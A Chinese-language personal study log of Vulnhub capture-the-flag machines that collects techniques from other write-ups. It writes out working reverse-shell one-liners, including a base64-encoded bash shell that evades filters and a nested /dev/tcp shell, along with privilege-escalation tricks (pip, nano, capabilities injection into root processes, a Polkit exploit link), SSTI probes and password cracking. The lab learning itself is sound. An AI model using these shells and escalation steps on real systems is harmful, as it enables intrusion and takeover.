记录一些在打靶学习的时候遇到的一些有意思的idea或者方法等

THE PLANETS: EARTH

Vulnhub 靶场 THE PLANETS: EARTH - sainet - 博客园 (cnblogs.com)

  • 这个靶机不同于之前只扫描http协议,需要连httpx一起扫描

  • 其中需要进行异或加密解密

  • RCE反弹shell的时候被禁用了远程连接,可以使用十六进制编码后直接绕过,或者base64,但是需要一点技巧:

    bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEwMS8yNTAwMSAwPiYx}|{base64,-d}|{bash,-i}'
    

    这里查询了一下这个逗号:

echo 后面直接跟着逗号 ,,这实际上是一种不常见但合法的写法,被称为 Brace Expansion(花括号扩展)。

在 Bash 中,花括号 {} 可以用于创建一组字符串的扩展,其中逗号分隔每个字符串。这种写法在很多情况下可以用来生成一系列的值。
这里的 echo 和 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU1Ni4xMDEvMjUwMDEgMD4mMQ== 是一对值,逗号分隔了这两个值。在这个上下文中,它的目的似乎是将一个值(YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU1Ni4xMDEvMjUwMDEgMD4mMQ==)传递给 echo 命令。

在子命令中,逗号 , 用于分隔多个子命令,以便按顺序执行它们。
  • 靶机中提权时发现缺少二进制文件reset_root的触发器,需要进行调试查看,创建触发器

  • 提权部分看到了两种调试工具:

    • strings:strings 是一个在 Linux 和类 Unix 操作系统中的命令行工具,它用于从二进制文件中提取可打印的字符串。当您需要检查一个二进制文件(如可执行文件、库文件等)中是否包含文本信息,或者需要分析文件中的字符串时,可以使用 strings 命令。

      以下是一些常用的 strings 命令选项:

      • -n length:指定最小字符串长度。默认情况下,strings 提取长度至少为 4 个字符的字符串。
      • -a:显示所有的字符串,而不仅仅是可打印字符的字符串。
      • -o:将结果以字符串的偏移量(在文件中的位置)形式输出。
      • -t format:指定输出的字符串格式,可以是 d (十进制)、o (八进制)、x (十六进制)。
      • -e encoding:指定输入文件的字符编码。
      • -h:显示命令的帮助信息。
    • strace: strace 是一个在 Linux 和类 Unix 操作系统中的命令行工具,用于跟踪和记录应用程序执行期间的系统调用和信号。通过使用 strace,您可以查看一个程序与操作系统之间的交互,以及它执行过程中发生的系统调用、信号和其他相关信息。这对于诊断问题、分析性能瓶颈以及理解程序的行为非常有用。

      以下是一些常用的 strace 命令选项:

      • -o file:将跟踪信息输出到指定文件中,而不是输出到终端。
      • -e trace:指定要跟踪的系统调用。例如,-e open,read 只会跟踪 openread 系统调用。
      • -p pid:跟踪一个已经运行的进程,而不是启动一个新的命令。
      • -f:同时跟踪子进程。对于多进程应用程序,这可以捕获整个进程树的系统调用。
      • -s size:限制输出的字符串长度,避免输出过长。
      • -c:统计系统调用和出错情况的统计信息。
      • -h:显示命令的帮助信息。

strace -o output.txt ls -l

这个命令将会跟踪 ls -l 命令的执行过程,并将跟踪信息输出到名为 output.txt 的文件中。

JANGOW

  • 有时候防火墙禁用nc -e 操作需要我们使用管道文件或者上传nc文件反弹shell,然后可以通过pty等一句话提权为交互式shell
  • 其实一般的服务器做端口限制都不会限制80和443,可以把433作为反弹的端口,也可以用脚本简单探测一下:
  • image
for i in {1..65535};do timeout 1 nc -vz 192.168.11.128 $i && echo "$i open">> out.txt || echo "si closed" >> out.txt;done

脚本的工作原理如下:

  1. 使用 for 循环迭代端口范围从 1 到 65535。
  2. 对每个端口,使用 timeout 命令在 1 秒内尝试使用 nc 命令连接到指定的 IP 地址和端口。
  3. 如果连接成功,将输出 “$i open” 到 out.txt 文件。
  4. 如果连接失败(超时或连接被拒绝),将输出 “si closed” 到 out.txt 文件。
  5. nc -vznc(netcat)命令的一种使用方式,用于进行基本的网络连接测试和端口扫描。下面是对 -vz 参数的解释:
    • -v: 这个选项表示 “verbose”,即详细输出模式。当您使用 -v 参数时,nc 命令会显示更多关于连接和操作的详细信息,包括成功连接时的信息。
    • -z: 这个选项表示 “zero-I/O mode”,即零 I/O 模式。在此模式下,nc 命令只会尝试建立连接,而不会进行实际的数据传输。这在执行端口扫描时很有用,因为它不会向目标发送任何实际的数据。

这里在博客Vulnhub 靶场 JANGOW: 1.0.1 - sainet - 博客园 (cnblogs.com)中还提到一个端口绑定:

sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
  • iptables: Linux 上的防火墙管理工具。
  • -A PREROUTING: 添加规则到 PREROUTING 链,这是网络数据包进入路由处理之前的链。
  • -t nat: 指定操作的表类型为 “nat”,用于网络地址转换。
  • -p tcp: 指定匹配 TCP 协议的数据包。
  • --dport 1:65535: 匹配目标端口范围从 1 到 65535。
  • -j REDIRECT --to-port 1234: 如果匹配,将数据包重定向到本地的 1234 端口。

red

这是目前位置做到最好的靶机

upfine的博客 (cnblogs.com)

你终于回来了(。・∀・)ノ (cnblogs.com)

  • 在web部分扫描到后文文件后打开是空白,此时需要再爆破一个参数进行传值

  • 使用hashcat对密码行规则转换

  • 提权部分切换用户打开shell:

    sudo -u ippsec /usr/bin/time /bin/bash

  • 在拿到shell后,

    • 一个是查找用户有权限的文件

    find / -group ippsec -type d 2>/dev/null | grep -v proc.

    (他这里其实是查找的的目录-type d 而不是文件 -type f)

    • 另一个博主是上传pspy64s监听系统运行的程序,然后发现了后门文件

在日志里发现执行后门代码的记录,命令:vi /var/log/syslog,也查看了定时任务:vim /etc/crontab

使用命令:crontab -l可以查看执行后门文件的定时任务

napping-1.0.1.ova.

Vulnhub 靶场 NAPPING: 1.0.1 - sainet - 博客园 (cnblogs.com)

Reverse Tabnabbing钓鱼_SoulCat.的博客-CSDN博客

这个靶机涉及到网络钓鱼,原理和刚学到的XSS差不多,但是Tab好像不需要设置钓鱼表单,在满足漏洞的情况下好像只需要监听端口就能接收到用户表单,这应该涉及到表单的提交和保存方式

提权部分修改py文件时使用的shell是 /usr/bin/bash 而不是 /bin/shell执行脚本(在py文件中),询问GPT一般用户也是可以使用/bin/bash的,但是这里可能是设置了权限,以后插入py文件应该要先测试相关情况。

vim提权时使用可以执行外部shell命令,以此提权

EMPIRE: BREAKOUT

Vulnhub 靶场 EMPIRE: BREAKOUT - sainet - 博客园 (cnblogs.com)

在web部分需要使用enum4linux工具检测服务器上的smb用户结合找到的密码登录后台,smbmap更适合当作客户端登录

提权部分需要寻找一些可用文件,一般来说对于网站可以寻找一些配置文件*.conf *.config等文件,对于本地提权则可以寻找一些隐藏文件、有权限的文件、密码文件等

这里白给了一个tar命令,使用getcap查看发现read=ep,可以通过加解压对一些文件越权访问,命令:

./tar -cvf pass.tar /var/backups/.old_pass.bak

  • -c: 表示创建一个新的归档文件。
  • -v: 表示在执行过程中显示详细的处理信息。
  • -f: 后面紧跟着要创建的归档文件的名称。

./tar -xvf pass.tar

  • -x: 表示从归档文件中提取(解压缩)文件。
  • -v: 表示在执行过程中显示详细的处理信息。
  • -f: 后面紧跟着要提取的归档文件的名称。

Vulnhub-Empire: LupinOne

Vulnhub-Empire: LupinOne题解 - C0ngvv - 博客园 (cnblogs.com)

这里挺有意思的,在爬虫文件中找到了一个:

img

在而后的扫描中使用~FUZZ查找文件,这实际算得上一个提示hh。

在ssh密钥登录时,使用ssh -i 指定ssh_key

这里遇到一个Enter passphrase for key

GPT:
在 SSH 连接时,”passphrase” 是指用于保护 SSH 私钥的密码。私钥是 SSH 密钥对中的一部分,用于对连接进行身份验证和加密通信。私钥需要受到保护,以防止未经授权的访问。

通常情况下,SSH 密钥对由两部分组成:公钥和私钥。公钥存储在远程服务器上,而私钥存储在本地机器上。当您尝试进行 SSH 连接时,您的私钥将用于身份验证。

如果您的私钥设置了 passphrase(也称为密码短语),则在每次使用私钥进行身份验证时,您都需要输入这个 passphrase。这增加了私钥的安全性,因为即使其他人获得了您的私钥文件,他们也无法在没有知道 passphrase 的情况下使用它。

在提权时给的特权命令制定了非root用户,只能横向移动:

img

img

最后提权部分用到pip,文件给的提权代码:

TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
pip install $TF

核心部分还有点疑惑,留个引子

thale

Vulnhub 靶场 THALES: 1 - sainet - 博客园 (cnblogs.com)

这个靶机只能说中规中矩吧,web部分用到了msf 和msfveno,感觉很少用到msfveno但确实挺好用的

提权部分几个博客园的博主讲得都不算很好,尤其是用backup.sh反弹root shell 时为什么等一会就能连接上,我查看了crontab和ps aux ,没有root是看不到定时任务,只有在ps进程中看到了备份脚本在被root执行:

image-20230818111232141

root:

image-20230818111307806

这里看到脚本5min执行一次

我们根据脚本指引来到保存备份文件的地方,发现上一次备份在5分钟前:

image-20230818111611873

(其实这里是写文章的时候刚好过了五分钟被截到),一般而言是可以看到上一次备份在几分钟前从而确证它可以自动执行备份。

最后有提个挺有意思的是,横向移动的时候发现su提示需要一个终端,而使用pty提权后就可以移动了

大概查了一下:

Linux 反向 shell 升级为完全可用的 TTY shell - sainet - 博客园 (cnblogs.com)

推测nc得到的shell比较受限,查询了一下TTY:

image-20230818112416855

这里看到一直用的一句话提权实际上是伪终端(那就是说伪终端也算终端咯?)

ICA1

vulnhub-ica1-通关流程 // Kali & 靶场 & 渗透 & Linux_KHDXS7的博客-CSDN博客

挺有意思的一个靶机,先后用了不同的php脚本才反弹了一个可用的shell虽然还是很难用。。

在web部分dirb先扫到了一个upload目录,在里面有一个users和attachment目录,估计有文件上传漏洞,然后在配置文件中找到了mysql账户密码,登录之后在数据库中分别找到了管理员的邮箱和phpass加密的密码,以及一些用户名表和base64加密的密码表。

phpass 以密码哈希算法的方式实现了这一点,同时还提供了一些附加的安全性功能,如防止彩虹表攻击、重放攻击等。

主要功能和设计原则包括:

  1. 强密码哈希phpass 使用哈希算法对密码进行多轮迭代,从而增加破解难度。
  2. 盐值(Salt)phpass 使用随机生成的盐值来增加密码哈希的随机性,以及对相同密码的不同哈希值。这有助于防止彩虹表攻击。
  3. 迭代计算phpass 通过多次迭代哈希算法,增加破解密码的成本,从而提高密码的安全性。
  4. 密码更新phpass 支持密码更新,同时保留旧密码的哈希值,以便在用户登录时验证旧密码。
  5. 防护phpass 试图防止不同类型的攻击,如嗅探攻击、重放攻击等。
  6. $P$phpass 中的一个标识符

此时有了两种进攻方式,一个是破解管理员的账户密码,从网页登录管理员后台寻找漏洞,一个是用hydra使用这两个表进行ssh爆破,实际两种都是可行的。

这里破解管理员密码实际上是使用 mkpasswd 创建一个密码替换了原来的密码,正好是Mysql管理员可以执行这个操作,也算是提供了一个思路,那么其实另外一个用户密码表应该也能这么做。

在管理员后台一个是可以创建用户上传头像,另一个是可以创建工程添加附件,这正好对应了之前upload里猜测的有文件上传漏洞。

提权部分使用string检查特权文件,发现它在suid下执行cat,使用命令劫持提权成功

noob:

Vulnhub 靶场 NOOB: 1 - sainet - 博客园 (cnblogs.com)

这个靶机挺无语的,web部分拿到了一个信息隐写的压缩文件,然后使用steghide进行拆解:

info <filename>:显示文件信息

extract -sf <filename>:拆解文件(需要密码短语,可能为空)

后面的提权就是找找找,很难想象有一台明文保存其他用户账号密码的用户配置……找了很多东西发现不如遍历本地用户目录

最后的nano提权文件给出的wp:

reset; sh 1>&0 2>&0
  • reset: 这是一个命令,通常用于重置终端显示,清除屏幕上的内容,使终端重新初始化。
  • sh: 这是一个启动 Shell(命令行解释器)的命令。在这里,它被用于启动一个新的 Shell 进程。
  • 1>&02>&0:这些是重定向操作符。1>&0 表示将标准输出(文件描述符 1)重定向到标准输入(文件描述符 0),2>&0 表示将标准错误(文件描述符 2)重定向到标准输入(文件描述符 0)。

没有很理解,可能是重启一个终端sh然后把所有信息都重定向到当前nano的输入以便于显示?因为不执行reset整个shell就死机了,不重定向看不到回显

DRIPPING BLUES: 1

【Vulnhub 靶场】DRIPPING BLUES: 1 - FreeBuf网络安全行业门户

这个靶机需要破解加密的zip文件:

fcrackzip

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u respectmydrip.zip

这里提到ftp穷举爆破可以使用MSF:ftp_login模块

在robots中发现一个/etc。。。推断有文件包含漏洞。

第二次遇到使用Polkit提权:

基本目前除了最新版的Polkit修复了该漏洞,其他版本都可以提权,可利用版本的范围极大。(https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py)

这里该博主拿到shell后的环境检测也挺细致的

doubletrouble

Vulnhub 靶场 DOUBLETROUBLE: 1 - sainet - 博客园 (cnblogs.com)

这里再次用到了图片隐写:stegseek

爆破:stegseek -crack *.png rockyou.txt -xf output

上一次拆解隐藏信息的文件使用的是steghide,查询了一下大致seek用于检测,hide大多是用于隐写,当然提取也可以。

在第二次提权部分我确实不知道怎么快速辨别这个靶机存在dirtucow漏洞,可能遇到比较老的版本都可以拿去对比一下吧

darkhole2 *

VulnHub-DarkHole_2靶机实战(超详细保姆级教程)_徐长卿学网安的博客-CSDN博客

这个靶机在网页上布置了.git,通过工具githackgit-dumper下载整个仓库分析

git log

git diff XXXX

提权部分涉及到ssh -l的一个映射,搞了半天终于明白了:

ssh jehad@192.168.91.142 -L

9999:192.168.91.144:9999

这将在本地计算机上创建一个 SSH 隧道,将本地计算机上的 9999 端口的数据转发到远程主机 192.168.91.142,然后由远程主机将数据再次转发到远程主机 192.168.91.144 的 9999 端口。

其中

-L [bind_address:]port:forward-host:forward-port

  • bind_address:这是一个可选部分,表示绑定的本地地址。通常可以省略,使得 SSH 监听所有可用的网络接口。
  • port:这是本地计算机上监听的端口。
  • forward-host:这是远程主机的地址。
  • forward-port:这是远程主机上的端口。

实际上是把本地某端口的数据交由ssh连接的主机再转发,相当于代理的感觉

在反弹shell的时候发现bash -i不能反弹,具体原因不是很清楚,但是嵌套**bash -c 'bash -i >& /dev/tcp/192.168.91.140/9001 0>&1'**成功反弹,查询后发现:

嵌套 shell 的原因有以下几点:

  1. 维持稳定性:嵌套 shell 可以在连接中保持稳定,即使连接的初始 shell 会话(例如通过 ncbash 创建的连接)被关闭或中断,嵌套 shell 可以继续运行,确保攻击者能够继续执行操作。
  2. 隐藏连接:嵌套 shell 可以隐藏连接细节,使连接更加隐蔽。通过将初始连接与嵌套 shell 连接分开,可以减少检测和防御系统发现连接的风险。
  3. 适应性:嵌套 shell 可以在不同的环境和情况下更灵活地使用。例如,通过在嵌套 shell 中执行各种命令,攻击者可以根据需要进行操作。
  4. 错误处理:嵌套 shell 可以处理连接中的错误情况,确保连接中断或其他问题不会导致整个攻击操作失败。

如果单层的反弹不行,可以试一下嵌套

另外发现:crontab只能查看当前用户的定时任务,直接读取/etc/crontab可以查看本机上的定时任务

ss命令:

ss(Socket Statistics)命令是一个用于显示关于网络套接字(socket)信息的实用工具,通常用于查看网络连接、监听端口、套接字状态等。ss 命令取代了早期的 netstat 命令,并提供更快速和更详细的网络信息。

ss(Socket Statistics)命令是一个用于显示关于网络套接字(socket)信息的实用工具,通常用于查看网络连接、监听端口、套接字状态等。ss 命令取代了早期的 netstat 命令,并提供更快速和更详细的网络信息。

以下是一些常用的 ss 命令选项和用法示例:

  1. 显示所有网络连接

    ss -tuln
    

    这会显示所有 TCP(-t)和 UDP(-u)连接的监听端口(-l)信息,以数字格式显示(-n)。

  2. 显示指定端口的监听情况

    ss -tuln | grep 80
    

    这会过滤并显示所有监听端口为 80 的连接。

  3. 显示套接字统计信息

    ss -s
    

    这会显示套接字统计信息,包括打开的套接字数量、连接状态等。

  4. 显示 TCP 套接字信息

    ss -t
    

    这会显示所有 TCP 套接字的详细信息。

  5. 显示 UDP 套接字信息

    ss -u
    

    这会显示所有 UDP 套接字的详细信息。

  6. 显示 Unix 套接字信息

    ss -x
    

    这会显示所有 Unix 套接字(本地套接字)的详细信息。

  7. 显示特定用户的套接字信息

    ss -tuln | grep username
    

    这会过滤并显示与特定用户名相关的连接信息。

  8. 显示所有套接字信息(包括监听和连接)

    ss -a
    

    这会显示所有套接字的信息,包括监听和连接状态。

一般可以先-s查看统计信息然后再具体查看相关类型套接字

BEELZEBUB: 1

upfine的博客 (cnblogs.com)

感觉主要是枚举,但有一些扫到的可能有用的目录啥的确实没用上,这里有一个专门针对wp的wpscan,使用-e可以进行枚举,-force忽略检测网站是否是wordpress

这里提权又遇到policykit,发现在exdb上查询相关名称可以检索到

hackable III

VulnHub靶机_HACKABLE: III_Yiru Zhao的博客-CSDN博客

图片隐写、端口碰撞、lxd提权

这里端口碰撞但是没办法启动端口。。。

hackkid *

vulnhub-Hacker_Kid靶机渗透过程 - FreeBuf网络安全行业门户

这个靶机遇到了几个不熟悉的漏洞,比如SSTI注入、DNS区域传输漏洞、Capabilities提权等

关于DNS区域传输:

dig axfr @192.168.26.139 blackhat.local

这里另一个博主没有使用axfr也能挖到,但是得到的内容比较少

然后关于SSTI注入:

该注入也能进行XSS,:这里给出了一个模板注入通用的测试payload:NaN${1+abcdef}[1+abcdef]

一文了解SSTI和所有常见payload 以flask模板为例-腾讯云开发者社区-腾讯云 (tencent.com)

发现{{ --- }}其中的语句被执行了

  • 这是因为在flask中,渲染引擎Jinja2会将{{ --- }}视为变量标识符,会将其包含的内容作为变量处理,从而包裹的语句被执行
  • 那么,在上一段代码中,如果我们传入的参数内容为{{ --- }}包裹的代码,这些代码就会被执行

cap部分:这条命令可以用于发现具有Capabilities特殊操作权限的程序。

getcap -r / 2>/dev/null      # -r 递归查询

因为需要找root进程进行注入,所以简单写个shell脚本对root进程进行批量尝试。

for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done

通过ss -pantu 找到tcp监听的bind shell,kali使用nc连接